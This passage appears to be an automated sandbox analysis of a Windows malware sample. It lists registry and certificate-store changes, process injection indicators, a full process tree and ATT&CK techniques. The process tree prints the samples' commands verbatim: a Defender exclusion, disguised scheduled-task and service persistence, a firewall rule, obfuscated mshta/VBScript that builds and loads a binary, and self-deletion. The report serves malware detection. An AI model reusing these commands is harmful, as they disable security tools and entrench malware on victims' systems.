ca1c4198eaef3a6d94cc065466ace7574683c40d257fbdff055edad9e14761bfd7435792a9873d7390c8075c77acfa2d4582d8126a6ebbf06e449ac9e13e75aec503449cabe13b7f85c31f1365a19e3f469bd553217edeff065b9593e72279d7c60f429cb1fe353387c2193766afe23c51869a1e2b60def9015880cee72571f0c60c5a96eae9311797c2175461b9f13a4183d10f2561b1b3074299b7e33f7ba8d408568da7e87a7e8bc07e5f65a3ff3c519ec00f2d6cfafc102781d3ed2e66b8c00440d3adf95e688ac4174f61a9fd29468cda162d63b3b30a4880b7f62f67f3c7021a88af87267f97c91d5a6db9f5310a8edb104e6ea6f800448090f7387daed7081a9eabe05e6f85cf1b5f65a3ff734a81be132b7fb0f8050397d2e94767a9c503509cb6e9377585df005876a8f07347829a142a07a7e9054390dcf62977b5c51f4098b6e8303387c2193767a2f930419fce1f2563bfb30048fedee03d3ab4d067559faaec396f8b831a510eaef5345c8cd61c2a66faf817279fdfe7637db8ae055593a0e8386e86cc1a5661a3ba2e41e7d0132623baf26e4395c9ed227aaacd0951d3a7e27a688fa7075866e3f8292e9ed11f6a7eb19717489693e83b1eb1c50f5593b5f8316d8bde005c68a8ba3b56e7c70a2169b6fc0a46dad1f04766bccd0b5298adfe3173cacc0037e0edeb5fd3e4dd24440dd49d652df4bdf02479b8fb0e529ac48d541de4ad743d59c818df3fedb47d44aaa29d672df4bdf3397982c76d06cdc4fa2070bbda740934cde32949b2c67d703dd4 svchost.exe Key created \REGISTRY\USER\.DEFAULT\Control Panel\Buses svchost.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Process not Found Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Process not Found -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e FCBF.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 FCBF.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 184 1f39167eed0282920d66cf36d31150d2.exe 184 1f39167eed0282920d66cf36d31150d2.exe 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3024 Process not Found - Suspicious behavior: MapViewOfSection 20 IoCs
pid Process 184 1f39167eed0282920d66cf36d31150d2.exe 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3348 8B9D.exe 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found 3024 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeDebugPrivilege 3680 9E10.exe Token: SeDebugPrivilege 3852 A1F9.exe Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeDebugPrivilege 4108 taskkill.exe Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found Token: SeCreatePagefilePrivilege 3024 Process not Found Token: SeShutdownPrivilege 3024 Process not Found - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3024 Process not Found - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4000 wrote to memory of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 4000 wrote to memory of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 4000 wrote to memory of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 4000 wrote to memory of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 4000 wrote to memory of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 4000 wrote to memory of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 3024 wrote to memory of 3760 3024 Process not Found 79 PID 3024 wrote to memory of 3760 3024 Process not Found 79 PID 3024 wrote to memory of 3760 3024 Process not Found 79 PID 3024 wrote to memory of 3348 3024 Process not Found 80 PID 3024 wrote to memory of 3348 3024 Process not Found 80 PID 3024 wrote to memory of 3348 3024 Process not Found 80 PID 3024 wrote to memory of 1916 3024 Process not Found 81 PID 3024 wrote to memory of 1916 3024 Process not Found 81 PID 3024 wrote to memory of 2740 3024 Process not Found 82 PID 3024 wrote to memory of 2740 3024 Process not Found 82 PID 3024 wrote to memory of 2740 3024 Process not Found 82 PID 3024 wrote to memory of 1216 3024 Process not Found 84 PID 3024 wrote to memory of 1216 3024 Process not Found 84 PID 3024 wrote to memory of 1216 3024 Process not Found 84 PID 3024 wrote to memory of 3680 3024 Process not Found 85 PID 3024 wrote to memory of 3680 3024 Process not Found 85 PID 3024 wrote to memory of 3680 3024 Process not Found 85 PID 3024 wrote to memory of 580 3024 Process not Found 86 PID 3024 wrote to memory of 580 3024 Process not Found 86 PID 3024 wrote to memory of 580 3024 Process not Found 86 PID 3024 wrote to memory of 2180 3024 Process not Found 88 PID 3024 wrote to memory of 2180 3024 Process not Found 88 PID 3024 wrote to memory of 2180 3024 Process not Found 88 PID 3024 wrote to memory of 2180 3024 Process not Found 88 PID 3024 wrote to memory of 2720 3024 Process not Found 89 PID 3024 wrote to memory of 2720 3024 Process not Found 89 PID 3024 wrote to memory of 2720 3024 Process not Found 89 PID 3024 wrote to memory of 1832 3024 Process not Found 90 PID 3024 wrote to memory of 1832 3024 Process not Found 90 PID 3024 wrote to memory of 1832 3024 Process not Found 90 PID 3024 wrote to memory of 1832 3024 Process not Found 90 PID 3024 wrote to memory of 2284 3024 Process not Found 91 PID 3024 wrote to memory of 2284 3024 Process not Found 91 PID 3024 wrote to memory of 2284 3024 Process not Found 91 PID 3024 wrote to memory of 3620 3024 Process not Found 92 PID 3024 wrote to memory of 3620 3024 Process not Found 92 PID 3024 wrote to memory of 3620 3024 Process not Found 92 PID 3024 wrote to memory of 3620 3024 Process not Found 92 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 3024 wrote to memory of 3844 3024 Process not Found 94 PID 3024 wrote to memory of 3844 3024 Process not Found 94 PID 3024 wrote to memory of 3844 3024 Process not Found 94 PID 3024 wrote to memory of 3916 3024 Process not Found 95 PID 3024 wrote to memory of 3916 3024 Process not Found 95 PID 3024 wrote to memory of 3916 3024 Process not Found 95 PID 3024 wrote to memory of 3916 3024 Process not Found 95 PID 3024 wrote to memory of 3584 3024 Process not Found 96 PID 3024 wrote to memory of 3584 3024 Process not Found 96 PID 3024 wrote to memory of 3584 3024 Process not Found 96 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 580 wrote to memory of 3852 580 A1F9.exe 93 PID 3024 wrote to memory of 360 3024 Process not Found 97 PID 3024 wrote to memory of 360 3024 Process not Found 97
Processes
-
C:\Users\Admin\AppData\Local\Temp\1f39167eed0282920d66cf36d31150d2.exe"C:\Users\Admin\AppData\Local\Temp\1f39167eed0282920d66cf36d31150d2.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4000 -
C:\Users\Admin\AppData\Local\Temp\1f39167eed0282920d66cf36d31150d2.exe"C:\Users\Admin\AppData\Local\Temp\1f39167eed0282920d66cf36d31150d2.exe"2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:184
-
-
C:\Users\Admin\AppData\Local\Temp\8727.exeC:\Users\Admin\AppData\Local\Temp\8727.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3760
-
C:\Users\Admin\AppData\Local\Temp\8B9D.exeC:\Users\Admin\AppData\Local\Temp\8B9D.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3348
-
C:\Users\Admin\AppData\Local\Temp\92F1.exeC:\Users\Admin\AppData\Local\Temp\92F1.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1916 -
C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2164 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp475A.tmp.cmd""3⤵PID:5072
-
C:\Windows\system32\timeout.exetimeout 44⤵
- Delays execution with timeout.exe
PID:2196
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi4⤵PID:700
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp477B.tmp.cmd""3⤵PID:5084
-
C:\Windows\system32\timeout.exetimeout 44⤵
- Delays execution with timeout.exe
PID:4104
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /f /sc MINUTE /mo 1 /tn "MicrosoftApi" /tr "'C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"'4⤵
- Creates scheduled task(s)
PID:2492
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9738.exeC:\Users\Admin\AppData\Local\Temp\9738.exe1⤵
- Executes dropped EXE
PID:2740
-
C:\Users\Admin\AppData\Local\Temp\9A36.exeC:\Users\Admin\AppData\Local\Temp\9A36.exe1⤵
- Executes dropped EXE
PID:1216
-
C:\Users\Admin\AppData\Local\Temp\9E10.exeC:\Users\Admin\AppData\Local\Temp\9E10.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3680
-
C:\Users\Admin\AppData\Local\Temp\A1F9.exeC:\Users\Admin\AppData\Local\Temp\A1F9.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Users\Admin\AppData\Local\Temp\A1F9.exeC:\Users\Admin\AppData\Local\Temp\A1F9.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3852
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2180
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2720
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1832
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2284
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:3620
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:3844
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:3916
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:3584
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:360
-
C:\Users\Admin\AppData\Local\Temp\F114.exeC:\Users\Admin\AppData\Local\Temp\F114.exe1⤵
- Executes dropped EXE
PID:1904 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kvcchoni\2⤵PID:1916
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rgcpdwyh.exe" C:\Windows\SysWOW64\kvcchoni\2⤵PID:2896
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create kvcchoni binPath= "C:\Windows\SysWOW64\kvcchoni\rgcpdwyh.exe /d\"C:\Users\Admin\AppData\Local\Temp\F114.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:788
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description kvcchoni "wifi internet conection"2⤵PID:2256
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start kvcchoni2⤵PID:4136
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:4296
-
-
C:\Users\Admin\AppData\Local\Temp\F26C.exeC:\Users\Admin\AppData\Local\Temp\F26C.exe1⤵
- Executes dropped EXE
PID:3860 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRIpt: CLoSE ( cREatEoBjECt ( "WSCRIpT.sHell" ). RuN("CmD.eXe /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\F26C.exe"" ..\TZQgmlI.eXe &&sTarT ..\TZqGmLI.exe /pOdkKh2_E2awvNYCMhDBIskVfcq & If """" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\F26C.exe"") do taskkill /iM ""%~nXw"" /f " ,0 , TRUe) )2⤵PID:3668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\F26C.exe" ..\TZQgmlI.eXe &&sTarT ..\TZqGmLI.exe /pOdkKh2_E2awvNYCMhDBIskVfcq & If "" =="" for %w in ("C:\Users\Admin\AppData\Local\Temp\F26C.exe") do taskkill /iM "%~nXw" /f3⤵PID:2380
-
C:\Users\Admin\AppData\Local\Temp\TZQgmlI.eXe..\TZqGmLI.exe /pOdkKh2_E2awvNYCMhDBIskVfcq4⤵
- Executes dropped EXE
PID:3944 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRIpt: CLoSE ( cREatEoBjECt ( "WSCRIpT.sHell" ). RuN("CmD.eXe /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\TZQgmlI.eXe"" ..\TZQgmlI.eXe &&sTarT ..\TZqGmLI.exe /pOdkKh2_E2awvNYCMhDBIskVfcq & If ""/pOdkKh2_E2awvNYCMhDBIskVfcq "" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\TZQgmlI.eXe"") do taskkill /iM ""%~nXw"" /f " ,0 , TRUe) )5⤵PID:2412
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\TZQgmlI.eXe" ..\TZQgmlI.eXe &&sTarT ..\TZqGmLI.exe /pOdkKh2_E2awvNYCMhDBIskVfcq & If "/pOdkKh2_E2awvNYCMhDBIskVfcq " =="" for %w in ("C:\Users\Admin\AppData\Local\Temp\TZQgmlI.eXe") do taskkill /iM "%~nXw" /f6⤵PID:4240
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIpt:CLoSe(cREaTeObjEcT ( "wsCript.SHell" ). RUN ( "cMd /q /c EChO C:\Users\Admin\AppData\RoamingnuUP>C5GL_.AX4 &eCHO | SeT /P = ""MZ"" > E3RIsQX7.5kU& COPY /Y /b E3RISQx7.5KU+ L1vzJO31.TVo + lPhAzDO.3Qp + C5GL_.AX4 ..\BFCAFX.C & StaRT regsvr32.exe /s ..\BFCAFX.C & DEl /Q * ", 0 , tRuE ) )5⤵PID:4444
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c EChO C:\Users\Admin\AppData\RoamingnuUP>C5GL_.AX4 &eCHO | SeT /P = "MZ" > E3RIsQX7.5kU& COPY /Y /b E3RISQx7.5KU+ L1vzJO31.TVo + lPhAzDO.3Qp+ C5GL_.AX4 ..\BFCAFX.C & StaRT regsvr32.exe /s ..\BFCAFX.C & DEl /Q *6⤵PID:4500
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "7⤵PID:4564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>E3RIsQX7.5kU"7⤵PID:4588
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s ..\BFCAFX.C7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:4620
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "F26C.exe" /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4108
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\FA8B.exeC:\Users\Admin\AppData\Local\Temp\FA8B.exe1⤵
- Executes dropped EXE
PID:2676
-
C:\Users\Admin\AppData\Local\Temp\FCBF.exeC:\Users\Admin\AppData\Local\Temp\FCBF.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
PID:188 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im FCBF.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\FCBF.exe" & del C:\ProgramData\*.dll & exit2⤵PID:4756
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im FCBF.exe /f3⤵
- Kills process with taskkill
PID:4860
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:4944
-
-
-
C:\Windows\SysWOW64\kvcchoni\rgcpdwyh.exeC:\Windows\SysWOW64\kvcchoni\rgcpdwyh.exe /d"C:\Users\Admin\AppData\Local\Temp\F114.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4348 -
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4988
-
-
C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exeC:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4576
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1New Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1